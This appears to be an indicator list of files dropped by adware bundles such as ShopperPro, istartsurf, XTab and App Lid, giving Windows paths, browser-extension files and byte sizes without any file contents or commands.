    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
    %Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\es-419\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2C31.tmp (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\defaults\preferences\fvd.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\remoterequest.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\settings.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\quick_start.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\SMALLTEST[1].htm (70 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BFNHHCP749ZCWQDAVZ19.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4CKRVCQXB6YD0RBY6FE5.temp (196 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J8T2GZPGJ1291FQNXATJ.temp (196 bytes)
    %Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
    %Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\MoreInfo.dll (15 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\jsdrv.exe (100669 bytes)
    %Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
    %Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
    %Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
    %Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
    %Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn760.tmp (358502 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\System.dll (23 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
    %Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\nsProcess.dll (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\AccDownload.dll (11659 bytes)
    %Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
    %Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd771.tmp\nsExec.dll (14 bytes)
    %Program Files% (x86)\XTab\conf (1480 bytes)
    %Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
    %Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\System.dll (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\vopyuuu.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
    C:\Windows\Tasks\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-5.job (74 bytes)
    %Program Files% (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.exe (9654 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\436036 (96303 bytes)
    %Program Files% (x86)\App Lid\utils.exe (77250 bytes)
    %Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
    %Program Files% (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-5.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\kgqstmuf.dll (3730 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-4.dll (48241 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\dwlqs.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\fcebyp.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\jjfxkflre.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\poxyqyas.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\137781 (4939 bytes)
    %Program Files% (x86)\App Lid\e8cfa312-fa67-431c-a6c1-adcf7585a6ee.xpi (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\fgvcbv.dll (8 bytes)
    C:\Windows\Tasks\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-5_user.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ipgeoapi_com[1].json (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstAC08.tmp (650101 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\gpiaw.dll (30112 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\config.xml (562 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\access (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\522198f3785492e75ba9b4c45591aa05.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\885e1375c6e76c99931d7ce2af711411.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\74cfe1fb8531407ffa7fc0ac8ce1d2b9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c74cd3345780b6e24bc9bd902854f9e0.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\60c0c59a9b354935bf3fbbaf93741b57.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\89f530fe25e54e63dcdd438a8f3dd6c9.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1b1fa65ba4b50ec767526eae51ebd9a2.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f16b29e856c5ecf280f5531435c02fde.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\869a15577f2fff997b20238c925da033.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1a4a74a0fc68f27a181ff717b1a5cb71.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\23c99f562d487f195b261b0b78ea45d8.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\194920b5351ca9191587a6bde8f528f7.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\74c7df781d9c645a18b28d739ff54a04.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\22132ec8db12bb913155b3372ce3090d.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\394a27b8df72843eda3daf2985412163.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\97f8d6a368a5b6a9949d717086ce81eb.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\12024d6bcc354e178178762b6f5a9ab0.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3ccc447e3a0e1bb7fe5db2278f6eae24.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b6b8d08fea22525d5da9c061f4a1d43b.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dffb2844bdfefa95f72be82b4ad58f75.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\da2e98a566c919466a0bfdea6650efa6.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7d31e84498dae81ac9ba8e35e62ab269.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7b61c6bde12940e3913588d719bf1ef2.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (659 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a1e8744fac4cdb401a37f1d88d99d250.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b3dfd7f38727dfb230fbaccdb2040e0b.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (899 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (622 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\29b904e67007824631cbf085a78bffee.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5e803990171a92bc10f5e191e7f7438f.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\789d0c407002ce10559e1376b8acddfe.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b1c8f458e7891496ed79e983283b4e0b.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7258188439170037227183965c775772.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\813ec8214fa38416e2564b1d6b16ccff.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\16c324c4ef905828afe14d0bba34d4fb.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9151e1a45eb52e156ab8b3db31d431b1.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\709d93c29965e63d2c086e7cc8e9cb4e.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7cda6eee5328fb952be6459ae1b4005f.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b112bf5e0eadbad0646d423c34bb4414.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\99108a65e02c1be6a322db11526ad551.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f70f6ccbdec829aa84232a4f4c3ba2ec.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\754600f68392e188dc28c8cab5e4ef37.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d51f9281217d3eb39e222f4b8426336d.js (649 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\cb7bbbaff7c1f679777d329ec47a6d9d.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2d61c069454c93969bce9652abc0da07.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\ProgramData\ShopperPro\config.json (487 bytes)
    C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
    %Program Files% (x86)\ShopperPro\config.json (1254 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\config.json (767 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.sys (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
    C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
    C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe (22786 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\database1_0_0.ej (14 bytes)
    %Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
    %Program Files% (x86)\XTab\skin\btn.png (2 bytes)
